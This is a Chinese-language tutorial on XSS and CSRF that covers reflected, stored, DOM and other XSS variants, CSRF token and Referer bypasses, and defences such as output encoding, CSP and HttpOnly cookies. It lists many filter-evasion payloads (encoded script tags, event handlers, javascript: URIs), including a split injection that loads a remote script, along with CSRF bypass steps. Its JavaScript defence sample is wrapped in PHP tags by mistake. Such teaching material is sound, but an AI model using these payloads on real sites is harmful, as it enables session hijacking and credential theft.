XSS跨站攻击&CSRF伪造

XSS跨站攻击&CSRF

[!NOTE]

本文档综合整理了两篇关于 XSS(跨站脚本攻击)的笔记内容,从基本原理、各类漏洞类型、攻击利用流程到防御措施,涵盖了反射型、存储型、DOM 型及其他拓展类型的 XSS 攻击技术。本文档仅用于技术交流、研究与学习目的,旨在帮助网络安全人员理解和掌握相关安全知识和防御技巧。文中涉及的示例、技术和工具均为理论探讨,禁止用于任何非法或未经授权的攻击活动。使用者应严格遵守所在国家和地区的法律法规,对因不当使用本文信息所导致的任何后果,作者不承担任何法律责任。


XSS

1. XSS 漏洞原理

1.1 跨站原理

  • 当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。
  • 这个“跨”实际上属于浏览器的特性,而不是缺陷。
  • 浏览器同源策略:只有发布 Cookie 的网站才能读取 Cookie,若存在漏洞,可能会造成 Cookie 窃取、劫持用户 Web 行为,甚至结合 CSRF 进行针对性攻击。

2. XSS 基础类型

2.1 反射型 XSS

原理及攻击流程

  1. 构造恶意链接
    攻击者构造一个包含恶意脚本的 URL,例如:
    http://example.com/search?q=<script>恶意代码</script>
  2. 用户点击链接
    用户被诱导点击该链接(钓鱼邮件、社交媒体等)。
  3. 服务器返回响应
    服务器未对参数进行过滤,直接将参数回显到页面中。
  4. 浏览器解析执行
    浏览器解析响应页面并执行恶意脚本,进而窃取 Cookie 或发起其它攻击。

验证与利用示例

  • 基本验证
    提交以下字符串给各参数,观察返回页面是否原样显示该 payload,从而判断是否存在漏洞:

    1
    "><script>alert(document.cookie)</script>
    • 可采用大小写混合、URL 编码、NULL 字节插入等手段绕过简单过滤:

      1
      2
      3
      4
      "><ScRiPt>alert(document.cookie)</ScRiPt>
      "%3e%3cscript%3ealert(document.cookie)%3c/script%3e
      "><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
      %00"><script>alert(document.cookie)</script>
  • 利用场景举例

    • 标签属性值注入:
      假设页面包含如下标签:

      1
      <input type="text" name="name" value="test-text">

      利用方法为终止双引号,注入 <script>alert(1)</script>

    • JavaScript 字符串注入:
      若页面中存在如下脚本:

      1
      <script>var a='test-text'; var b=123; ...</script>

      则可以用分号结束当前语句,注入 '; alert(1); var foo='

    • URL 属性注入:
      如页面包含 <a href="test-text">Click here</a>,则可利用 javascript:alert(1); 替换 href 值。


2.2 存储型 XSS

攻击流程

  1. 攻击者在具有提交内容功能(如评论、留言、博客)的页面中输入恶意脚本(例如 <script>恶意代码</script>)。
  2. 服务器未对输入进行有效过滤,将恶意脚本存储到数据库中。
  3. 其他用户访问该页面时,服务器读取并返回包含恶意脚本的内容。
  4. 用户浏览器解析页面时执行脚本,导致 Cookie 窃取、页面劫持等攻击。

注意事项

  • 在测试存储型 XSS 时,需全面检查所有页面、管理后台、日志记录等处的数据回显。
  • 文件上传处也可能成为存储型 XSS 的入口,例如将恶意代码嵌入图片木马中上传至用户头像区域。

2.3 DOM 型 XSS

攻击原理与流程

  • 基于文档对象模型(DOM)的漏洞,攻击无需服务器响应直接在客户端执行。
  • 流程示例:
    1. 攻击者构造一个含有恶意参数的 URL(例如:http://example.com#<img src=x onerror=恶意代码>)。
    2. 用户点击链接,浏览器解析 URL 后,客户端 JavaScript 通过读取 document.locationdocument.URL 等 API 将参数写入 DOM。
    3. 动态生成的恶意代码被执行,但在页面源码中看不到输入的 payload,其存储在浏览器的 DOM 中。

示例代码

假设页面中有如下脚本:

1
2
3
4
5
6
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url.length);
document.write(message);
</script>

如果在 URL 中传入 JavaScript 代码作为 message 参数,则该代码会被动态写入页面并执行。

3.查找与利用

1
"><script>alert(document.cookie)</script>

把这个字符串提交给每个应用程序页面的每个参数;

同时监控它的响应,如果攻击字符串原样出现在响应中,就可能存在XSS漏洞。

许多应用可能会经过黑名单等简单的初步过滤,试图阻止XSS攻击;

可以通过编码等方式绕过:

1
2
3
4
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>

当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器的DOM中,并可被客户端javascript访问。

在这种情况下,以上基本验证无法发现XSS漏洞。

查找反射型XSS

测试引入脚本的反射

例1,标签属性值:

假设返回页面中包含以下脚本:

1
<input type="text" name="name" value="test-text" >

很明显,利用xss的方法是终止包含字符串的双引号,结束``标签

1
"><script>alert(1)</script>

例2,javascript字符串:

假设返回页面中包含以下脚本:

1
<script>var a='test-text'; var b=123;...</script>

用分号终止语句

1
'; alert(1); var foo='

例3,包含URL的特性

假设返回页面中包含以下脚本:

1
<a href="test-text">Click here</a>html

这时,受控制的字符插入到一个``标签的href属性中。

这个属性可能包含一个使用javascript:协议的URL,利用:

1
javascript:alert(1);

脚本标签

事件处理器

有大量事件处理器可与各种标签结合使用,用于执行脚本。

一些示例,可在不需要任何用户交互的情况下执行脚本:

1
2
3
4
5
6
7
8
<style onreadystatechange=alert(1)></style>
<iframe onreadystatechange=alert(1)></iframe>
<object onerror=alert(1)></object>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<body onbeforeactivate=alert(1)></body>
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)>

脚本伪协议

脚本伪协议可用在任何位置,以在需要URL的属性中执行行内脚本。

1
2
3
<object data=javascript:alert(1)></object>
<iframe src=javascript:alert(1)></iframe>
<event-source src=javascript:alert(1)></event-source>

避开过滤:HTML

标签名称

改变字符大小写

1
<iMg onerror=alert(1) src=a>

插入NULL字节

1
<[%00]img onerror=alert(1) src=a>

标签名称后的空格

一些可用于替代空格的字符

1
2
3
4
<img[%09]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>

属性名称

绕开一些检查以on开头的过滤器

1
<img o[%00]nerror=alert(1) src=a>

属性分隔符,把多个属性分隔开

1
<img onerror='alert(1)'src=a>

属性值

可以用NULL字节或HTML编码属性值

1
2
<img onerror=a[%00]lert(1) src=a>
<img onerror=a&#x006c;ert(1) src=a>

HTML编码 十六进制编码 base64编码 ASCII编码

以下属性可以被编码:

1
2
3
4
5
6
7
8
9
10
11
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

字符集

有时可用一些非标准编码绕开过滤器

UTF-7、US-ASCII、UTF-16

拆分跨站:

当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站

1
2
3
4
5
6
7
<script>z='<script src=';/*

*/z+='test.c';/*

*/z+='n/1.js><0/script>';/*

*/document.write(z)</script>

最终执行

1
2
3
4
5
6
7
<script>

z='undefined<script src=test.cn/1.js></script>';

document.write(z)

</script>

避开过滤:脚本代码

有些过滤器可能阻止javascript关键字和表达式,有用的字符,比如引号、括号和圆点。

Unicode转义

1
<script>a\u006cert(1)</script>

如果能够使用eval命令,就能够将其它命令以字符串的格式传送给eval,从而执行其它 命令。

1
<script>eval('a\u006cert(1)');</script>

替代圆点

1
2
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>

查找利用存储型XSS

确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程类似。

但是,这两个过程之间也存在一些重要的区别;

在进行测试时必须记住这些区别,以确定尽可能多的漏洞。

(1) 向应用程序的每一个可能的位置提交一个特殊字符串后,必须反复检查应用程序的全部内容与功能;

(2) 如有可能,应检查管理员能够访问的区域,确定其中是否有可以被非管理用户控制的数据;

比如有些应用可以在浏览器查看日志,攻击者可留下恶意的HTML日志加以利用;

(3) 检查应用的整个流程,确保测试彻底,检查任何可控的带外通道,如HTTP消息头;

在上传文件中测试XSS

如果应用程序允许用户上传可被其它用户查看下载的文件,就会出现保存型XSS,这种漏洞常被人们忽略。

测试时,首先上传一个验证性的HTML文件。

如果该文件被接受,则尝试以正常方式下载该文件。

如果应用程序按照原样返回最初的文件,并且脚本被执行,则应用肯定易于受到攻击。

例:可把XSS的payload做成图片木马,上传到用户头像(用各种方法去绕过上传限制)

查找并利用DOM型的XSS漏洞

确定基于DOM型的XSS漏洞,一种有效的方法是,检查所有客户端JavaScript,

看其中是否使用任何可能会导致漏洞的DOM属性。

工具DOMTracer (opens new window)可自动完成这个测试过程。

检查每一段客户端JavaScript,看其中是否出现以下API

它们可用于访问通过一个专门设计的URL控制的DOM数据;

1
2
3
4
5
document.location
document.URL
document.URLUnencoded
document.referrer
window.location

在每一个使用上述API的位置,仔细检查那里的代码,确定应用程序如何处理用户可控的数据;

以及是否可以使用专门设计的输入来执行JavaScript。

尤其注意检查并测试控制的数据被传送至以下任何一个API的情况

1
2
3
4
5
6
7
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()

片段技巧:服务器不解析url中#后的内容


4. 拓展类型 XSS

除了基础的反射型、存储型和 DOM 型 XSS 外,还有其他一些 XSS 漏洞类型,如下所示:

3.1 MXSS(Mutation XSS)

  • 原理:利用浏览器 DOM 解析机制中的 HTML 序列化与反序列化差异,触发恶意代码执行。

  • 攻击流程

    1
    攻击者构造特殊 Payload → 用户输入触发 DOM 修改 → 浏览器解析时发生“变异” → 恶意代码被还原并执行 → 数据泄露或攻击
  • 示例
    某些情况下,<img src=1 onerror=alert(1)> 可能因编码变异触发 onerror 事件。

  • 防御:避免直接操作 innerHTML,使用安全的 DOM API(如 setAttribute)。


3.2 UXSS(Universal XSS)

  • 原理:利用浏览器或浏览器扩展的漏洞,绕过同源策略直接执行跨域脚本。

  • 攻击流程(以 CVE-2021-34506 为例)

    1
    攻击者构造恶意翻译请求 → 用户启用 Edge 翻译功能 → 浏览器解析翻译内容时触发 JS 执行 → 窃取 Cookie 或劫持会话
  • 关键点

    • 漏洞存在于浏览器内置功能(如翻译、扩展插件)。
    • 攻击无需依赖服务器端缺陷,直接利用客户端漏洞。
  • 防御:及时更新浏览器,禁用高风险扩展。


3.3 SVG-XSS

  • 原理:在 SVG 文件中嵌入 JavaScript 代码,当浏览器渲染 SVG 时触发执行。

  • 攻击流程:

    1
    构造含恶意脚本的 SVG 文件 → 上传至支持 SVG 的网站 → 用户访问 SVG 文件 → 浏览器解析执行内嵌脚本 → 攻击生效
  • 示例代码:

    1
    2
    3
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
    <script>alert(1)</script> <!-- 部分浏览器会执行 -->
    </svg>
  • 防御:

    • 服务器限制 SVG 上传,过滤 <script> 标签和事件属性(如 onload)。
    • 使用 CSP 头禁止内联脚本。

3.4 PDF-XSS

  • 原理:PDF 文件支持嵌入 JavaScript,当用户打开 PDF 时触发恶意代码执行。

  • 攻击流程

    1
    使用 PDF 编辑器嵌入 JS 代码 → 上传 PDF 至目标网站 → 用户访问 PDF 直链 → PDF 阅读器解析执行 JS → 触发攻击(如窃取本地文件)
  • 实现步骤

    (以迅捷 PDF 编辑器为例):

    1. 创建 PDF 时添加动作:this.alert('XSS');
    2. 上传 PDF 并获取直链地址(如 http://example.com/file.pdf#malicious=javascript:alert(1))。
  • 防御:禁用 PDF 阅读器的 JavaScript 功能,检查文件内容。


3.5 FLASH-XSS

  • 原理:利用 Flash 的 ExternalInterface 接口调用页面中的 JavaScript 函数。

  • 攻击流程:

    1
    构造恶意 SWF 文件 → 用户访问含 SWF 的页面 → Flash 读取外部参数调用 JS → 执行任意函数(如弹窗、跳转)
  • 示例代码

    (Adobe Flash CS6):

    1
    2
    3
    // 获取 URL 参数并调用 JS 函数
    var param:String = root.loaderInfo.parameters.m;
    flash.external.ExternalInterface.call(param);
  • 触发方式:访问 URL:http://example.com/swf_file.swf?m=alert(/xss/)

  • 防御:

    • 反编译 SWF 检查危险函数(如 ExternalInterface.call)。
    • 禁用 Flash 或升级至安全版本(Flash 已停止维护)。

3.6 XSS 类型对比表

类型 触发载体 依赖条件 攻击范围 防御难点
MXSS DOM 变异 浏览器解析差异 客户端 动态变异难以预测
UXSS 浏览器漏洞 未修复的浏览器/扩展缺陷 跨域 客户端环境不可控
SVG-XSS SVG 文件 允许上传 SVG 且未过滤 同域/跨域 SVG 内容复杂性高
PDF-XSS PDF 文件 PDF 阅读器启用 JS 本地/在线 文件内容隐蔽性强
FLASH-XSS SWF 文件 Flash 插件未禁用 同域/跨域 Flash 遗留风险

4. 攻击利用流程与攻击点

4.1 攻击利用基本流程

  • 反射型 XSS 攻击流程

    1
    攻击者构造恶意链接 → 用户点击链接 → 服务器返回含恶意代码的响应 → 浏览器解析执行恶意代码 → 用户数据被窃取或攻击
  • 存储型 XSS 攻击流程

    1
    攻击者提交恶意内容到服务器 → 内容存储至数据库 → 其他用户访问页面 → 服务器返回含恶意代码的页面 → 浏览器解析执行恶意代码 → 持续攻击其他用户
  • DOM 型 XSS 攻击流程

    1
    攻击者构造恶意 URL → 用户点击链接 → 浏览器解析 URL 并修改 DOM → 客户端脚本处理恶意参数 → 动态生成恶意代码并执行 → 用户数据被窃取

4.2 常见攻击点

  • 数据交互处
    get、post、headers,反馈与浏览,文本编辑器,各类标签插入和自定义。
  • 数据输出处
    用户资料、数据输出、评论、留言、关键词、标签、说明,以及文件上传。
  • 攻击利用方式
    • 盲打
    • COOKIE 盗取
    • 凭据窃取
    • 页面劫持
    • 网络钓鱼
    • 权限维持

注意:
不适用 session 鉴权。


5. 防御措施

5.1 防止反射型与存储型 XSS

  1. 确认输入
    • 限制输入长度
    • 仅允许合法字符(可通过正则表达式校验)
    • 根据数据类型设置不同的验证规则(如姓名、邮箱、账号等)。
  2. 确认输出
    • 对用户提交的数据进行 HTML 编码和净化后再输出,避免直接插入页面中。
  3. 消除危险插入点
    • 避免在现有 JavaScript 代码中直接插入用户可控数据;
    • 对于标签属性中需要传入 URL 的场景,避免直接嵌入用户输入。
  4. 允许有限的 HTML
    • 对允许用户提交 HTML 格式内容的场景(如博客、论坛的富文本编辑器),使用成熟的过滤框架(如 OWASP AntiSamy)来验证提交的 HTML 标记。

5.2 防止 DOM 型 XSS

  1. 确认输入

    • 客户端:确认将要插入到文档中的数据仅包含字母、数字和空白符。
    • 服务端:对 URL 数据进行严格确认,包括参数个数、名称大小写及值的合法性。
  2. 确认输出

    • 在将用户可控的 DOM 数据插入到文档之前,进行 HTML 编码。例如:

      1
      2
      3
      4
      5
      6
      7
      8
      <?php
      function reinit(str)
      {
      var d = document.createElement('div');
      d.appendChild(document.createTextNode(str));
      return d.innerHTML;
      }
      ?>

5.3 其他防御措施

  • Content Security Policy (CSP)
    • 严格的 CSP 能禁止加载外域代码、禁止内联脚本执行以及未授权的脚本执行,减少复杂攻击逻辑和数据泄露风险。
  • 输入内容长度控制
    • 对不受信任的输入限定合理长度,虽然无法完全防止 XSS,但能增加攻击难度。
  • HTTP-only Cookie
    • 通过设置 HTTP-only 属性,禁止 JavaScript 读取某些敏感 Cookie,即使 XSS 成功也无法窃取这些 Cookie。
  • 验证码
    • 防止脚本冒充用户提交危险操作。

6. 常见工具


CSRF

1. CSRF 攻击基础概述

  • 定义与原理
    CSRF(跨站请求伪造)是一种利用用户已登录状态下对网站信任的攻击方式。攻击者通过伪造请求,利用用户浏览器自动携带的 Cookie 以及其他认证信息,向目标服务器发送恶意请求,使服务器误以为是用户本人操作,从而完成修改数据、转账、发帖等未授权操作。
  • 攻击场景
    • 用户在登录状态下访问一个含有恶意代码的第三方网站。
    • 该恶意页面通过构造请求自动提交到目标网站,借助浏览器自动附带的认证信息完成操作。
    • 攻击者可利用黑盒测试工具生成 CSRF PoC(概念验证)文件,并修改数据包参数,使攻击在受害者访问时立即触发。

2. 无防护 CSRF 的检测与利用

  • 检测方法
    • 黑盒测试:攻击者手动构造恶意请求,观察目标系统是否存在 CSRF 防护漏洞。
    • 白盒审计:查看应用代码是否存在对请求中 token、Referer 等字段的验证,如果没有任何检测机制,则表明系统处于无防护状态。
  • 利用流程
    1. 生成请求:利用 BurpSuite 等工具,通过“Engagement tools → Generate CSRF Poc”生成标准的 CSRF 测试请求。
    2. 自动触发:调整生成的 PoC 数据包,使得当受害者访问攻击者控制的页面(或配合 XSS 利用)时,请求能自动提交,而不需要用户额外的操作。
    3. 实施攻击:受害者访问恶意页面后,构造的请求会在后台自动提交,借助用户现有的登录状态执行攻击操作。

3. Referer 同源校验的防护机制与绕过

  • 防护原理
    • 同源校验:服务器在接收到请求时,会检查 HTTP 请求头中的 Referer 字段,验证请求来源是否与目标网站处于同一域或同一源。只有来自合法来源的请求才能通过验证。
  • 常见问题
    • 某些浏览器或在特定场景下(如新窗口、隐私模式或安全设置)可能不携带 Referer 信息,从而使得校验机制失效。
    • 开发人员为了避免因空 Referer 导致用户无法正常操作,可能会在代码中放宽对 Referer 的判断,从而留下绕过空间。
  • 绕过手段
    1. 配合文件上传:利用上传漏洞,将文件上传至目标网站或攻击者控制的站点,通过修改上传逻辑绕过 Referer 检查。
    2. 存储型 XSS 配合:在页面中嵌入 XSS 代码,通过动态修改 DOM 或修改请求头信息,从而伪造或改变 Referer。
    3. 利用页面 meta 标签:在页面头部加入 <meta name="referrer" content="no-referrer">,使得浏览器发送请求时不携带 Referer,从而绕过服务器对来源的严格验证。
    4. 代码逻辑漏洞:在某些情况下,由于开发者对空 Referer 的处理不够严谨,攻击者可以直接将 Referer 改写或置空,从而通过验证。

4. CSRF Token 校验及其绕过技术

  • 防护原理
    • 通过在每个关键请求中加入随机生成的 token(令牌),服务器在处理请求前验证 token 的有效性。
    • 该 token 通常在页面加载时随机生成,并存储在 Cookie 或隐藏字段中,每次请求时必须携带相同的 token,确保请求来源合法。
  • 防御效果
    • 即使攻击者能够伪造请求,没有正确的 token,服务器也会拒绝该请求,从而阻止攻击成功。
    • Token 的随机性和一次性使用是防御 CSRF 攻击的关键。
  • 绕过方式
    1. Token 复用:如果服务器对 token 的生成或校验不够严谨,可能允许相同的 token 在多次请求中重复使用。攻击者可以利用这一点复用已知的 token 来伪造请求。
    2. Token 删除:部分代码逻辑漏洞允许攻击者直接删除请求中的 token 参数,若服务器对 token 的存在与否没有做严格判断,则可能放行缺少 token 的请求。
    3. Token 值置空:攻击者可以将 token 参数的值置为空(但参数名仍存在),利用代码未严格验证 token 内容的漏洞,达到绕过验证的目的。

5. 综合利用思路

  • 结合多种漏洞利用
    • 攻击者通常不会单独依赖一种绕过方式,而是结合 XSS 与 CSRF 等多种攻击手段。例如,利用 XSS 先注入恶意代码,然后在页面中自动构造并提交 CSRF 请求,从而在用户毫无察觉的情况下完成攻击。
  • 工具辅助
    • 工具如 BurpSuite 可以生成标准的 CSRF PoC,同时配合手动测试和调试,可以有效地验证和利用各种绕过机制。
    • 针对 Referer 和 Token 的漏洞,结合代码审计及模拟各种请求场景,是检测和利用的重要手段。

6. 防御建议与安全实践

  • 严格验证来源
    • 除了 Referer 检查,建议结合 Origin 头验证以及其他认证机制,构建多层防护体系,防止单点失效。
  • Token 管理
    • 保证 CSRF token 的随机性、唯一性以及一次性使用。定期更新 token,并在服务器端进行严格校验。
    • 对于 token 缺失或异常的请求,建议直接拒绝,并在日志中记录详细信息以便后续审查。
  • 提高代码安全性
    • 在开发时应充分考虑各种绕过手段,避免因代码逻辑不严谨而留下漏洞。
    • 对所有涉及用户敏感操作的请求进行严格审计,确保防护措施的全面有效。
  • 安全教育与测试
    • 开发人员和测试人员应加强对 CSRF 攻击原理及防御机制的了解,定期进行安全测试和代码审计。
    • 可利用自动化工具配合手工测试,全面评估系统的安全防护水平,及时修补存在的安全漏洞。